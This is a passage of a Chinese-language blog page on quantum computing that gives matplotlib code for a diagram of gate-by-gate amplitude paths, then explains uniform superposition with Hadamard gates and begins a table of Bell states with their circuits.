alt="maze_combined.png"></p><details><summary>AI 好讚 生圖的扣的</summary><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 定義迷宮方法顏色常數</span>COLOR_MAP <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'blue'</span><span class="token punctuation">:</span> <span class="token string">'#3498db'</span><span class="token punctuation">,</span>    <span class="token comment"># 正實數振幅 (+1)</span>    <span class="token string">'red'</span><span class="token punctuation">:</span> <span class="token string">'#e74c3c'</span><span class="token punctuation">,</span>     <span class="token comment"># 負實數振幅 (-1)</span><span class="token punctuation">&#125;</span>fig<span class="token punctuation">,</span> ax <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">14</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 建立 5 個時間點的 X 軸位置 (0 到 4)</span>x_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span>labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">]</span>y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token comment"># 由上至下排列</span>label_to_y <span class="token operator">=</span> <span class="token punctuation">&#123;</span>l<span class="token punctuation">:</span> y <span class="token keyword">for</span> l<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment"># 1. 繪製所有的黑點節點</span><span class="token keyword">for</span> x <span class="token keyword">in</span> x_positions<span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token comment"># 2. 僅在「最左邊」與「最右邊」標註狀態標籤</span><span class="token keyword">for</span> lbl<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'right'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token number">4.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'left'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 3. 定義每個時間段的箭頭映射關係 (start_label, end_label, color)</span><span class="token comment"># Step 1: H_q0 (x=0 -> x=1)</span>step1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 2: H_q1 (x=1 -> x=2)</span>step2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>         <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 3: Z_q1 (x=2 -> x=3)</span>step3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>         <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 4: CNOT (x=3 -> x=4)</span>step4 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>         <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>all_steps <span class="token operator">=</span> <span class="token punctuation">[</span>step1<span class="token punctuation">,</span> step2<span class="token punctuation">,</span> step3<span class="token punctuation">,</span> step4<span class="token punctuation">]</span><span class="token comment"># 4. 繪製穿梭在節點間的彩色箭頭</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> step_connections <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>all_steps<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_start <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span>    x_end <span class="token operator">=</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span>    <span class="token keyword">for</span> start_lbl<span class="token punctuation">,</span> end_lbl<span class="token punctuation">,</span> color_key <span class="token keyword">in</span> step_connections<span class="token punctuation">:</span>        sy <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>start_lbl<span class="token punctuation">]</span>        ey <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>end_lbl<span class="token punctuation">]</span>        color <span class="token operator">=</span> COLOR_MAP<span class="token punctuation">[</span>color_key<span class="token punctuation">]</span>        ax<span class="token punctuation">.</span>annotate<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">,</span> xy<span class="token operator">=</span><span class="token punctuation">(</span>x_end<span class="token punctuation">,</span> ey<span class="token punctuation">)</span><span class="token punctuation">,</span> xytext<span class="token operator">=</span><span class="token punctuation">(</span>x_start<span class="token punctuation">,</span> sy<span class="token punctuation">)</span><span class="token punctuation">,</span>                    arrowprops<span class="token operator">=</span><span class="token builtin">dict</span><span class="token punctuation">(</span>arrowstyle<span class="token operator">=</span><span class="token string">"->"</span><span class="token punctuation">,</span> color<span class="token operator">=</span>color<span class="token punctuation">,</span> lw<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> shrinkA<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> shrinkB<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 5. 在每一段的上方中央對齊標註 Gate Name</span>gate_names <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"$H_&#123;q_0&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$H_&#123;q_1&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"$Z_&#123;q_1&#125;$"</span><span class="token punctuation">,</span> <span class="token string">"CNOT"</span><span class="token punctuation">]</span><span class="token keyword">for</span> idx<span class="token punctuation">,</span> name <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>gate_names<span class="token punctuation">)</span><span class="token punctuation">:</span>    x_center <span class="token operator">=</span> <span class="token punctuation">(</span>x_positions<span class="token punctuation">[</span>idx<span class="token punctuation">]</span> <span class="token operator">+</span> x_positions<span class="token punctuation">[</span>idx <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span>x_center<span class="token punctuation">,</span> <span class="token number">3.6</span><span class="token punctuation">,</span> name<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'bottom'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 微調畫布邊界並關閉座標軸</span>ax<span class="token punctuation">.</span>set_xlim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.6</span><span class="token punctuation">,</span> <span class="token number">4.6</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>set_ylim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">4.0</span><span class="token punctuation">)</span>ax<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">'off'</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>tight_layout<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 匯出成高解析度、透明背景的網頁圖檔</span>plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span><span class="token string">'maze_combined.png'</span><span class="token punctuation">,</span> bbox_inches<span class="token operator">=</span><span class="token string">'tight'</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> transparent<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"一體化演進迷宮圖已成功生成：maze_combined.png"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><h2 id="%E5%B8%B8%E7%94%A8%E7%9A%84%E9%87%8F%E5%AD%90%E6%85%8B%E8%A3%BD%E4%BD%9C" tabindex="-1" id="常用的量子態製作">常用的量子態製作</h2><h3 id="%E5%B9%B3%E5%9D%87%E7%96%8A%E5%8A%A0%E6%85%8B" tabindex="-1" id="平均疊加態">平均疊加態</h3><p>對每個 qubits 都上 H Gate：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>H</mi><mrow><mo>⊗</mo><mi>n</mi></mrow></msup><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo>⋯</mo><mn>0</mn><mo stretchy="false">⟩</mo><mo>=</mo><mi>H</mi><mo>⊗</mo><mi>H</mi><mo>⊗</mo><mo>⋯</mo><mo>⊗</mo><mi>H</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo>⋯</mo><mn>0</mn><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><msup><mn>2</mn><mi>n</mi></msup></msqrt></mfrac><munder><mo>∑</mo><mrow><mi>x</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><msup><mo stretchy="false">}</mo><mi>n</mi></msup></mrow></munder><mi mathvariant="normal">∣</mi><mrow></mrow><mi>x</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">H^{\otimes n}\vert{}0\cdots 0\rangle = H\otimes H\otimes\cdots\otimes H \vert{}0\cdots0\rangle = \frac{1}{\sqrt{2^n}}\sum\limits_{x\in\{0,1\}^n} \vert{}x\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0713em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8213em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">⊗</span><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.8374em;vertical-align:-1.516em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5904em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.809em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="mrel mtight">∈</span><span class="mopen mtight">{</span><span class="mord mtight">0</span><span class="mpunct mtight">,</span><span class="mord mtight">1</span><span class="mclose mtight"><span class="mclose mtight">}</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5935em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.516em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">x</span><span class="mclose">⟩</span></span></span></span></span></p><h3 id="%E7%B3%BE%E7%BA%8F%E6%85%8B%EF%BC%9Abell-state" tabindex="-1" id="糾纏態：Bell-State">糾纏態：Bell State</h3><table><thead><tr><th>Bell State</th><th style="text-align:center">Quantum circuit</th></tr></thead><tbody><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo>+</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\phi+\rangle = \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mord">+</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-45-28.png" alt="phi+"></td></tr><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo>−</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\phi-\rangle = \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mord">−</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-46-38.png" alt="phi-"></td></tr><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo>+</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\psi+\rangle = \frac{1}{\sqrt2}\left(\vert{}01\rangle+\vert{}10\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">+</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" 